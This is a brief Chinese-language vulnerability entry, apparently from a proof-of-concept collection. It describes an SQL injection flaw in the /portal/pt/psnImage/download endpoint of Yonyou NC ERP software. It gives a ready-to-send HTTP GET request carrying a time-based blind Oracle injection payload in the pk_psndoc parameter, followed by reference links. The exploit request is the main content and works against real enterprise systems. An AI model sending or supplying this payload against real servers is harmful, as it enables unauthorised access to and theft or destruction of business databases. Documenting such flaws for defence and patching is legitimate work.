Description
用友NC是一款由用友网络科技股份有限公司开发的企业管理软件，广泛应用于企业资源计划（ERP）和财务管理等领域。用友NC的 /portal/pt/psnImage/download 接口存在SQL注入漏洞，攻击者可以通过构造恶意的SQL语句，未经授权访问数据库，获取敏感信息或对数据库进行破坏性操作。
用友NC /portal/pt/psnImage/download SQL 注入漏洞
PoC
GET /portal/pt/psnImage/download?pageId=login&pk_psndoc=1%27)%20AND%206322=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(79)||CHR(66)||CHR(101),5)%20AND%20(%27rASZ%27=%27rASZ HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BNC%E6%8E%A5%E5%8F%A3download%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://cn-sec.com/archives/tag/psnimage
https://starmap.dbappsecurity.com.cn/info/6973
https://blog.csdn.net/coodi144/article/details/120397738
https://mrxn.net/jswz/yonyou-nc-rmwebImage-download-pk_psndoc-sqli.html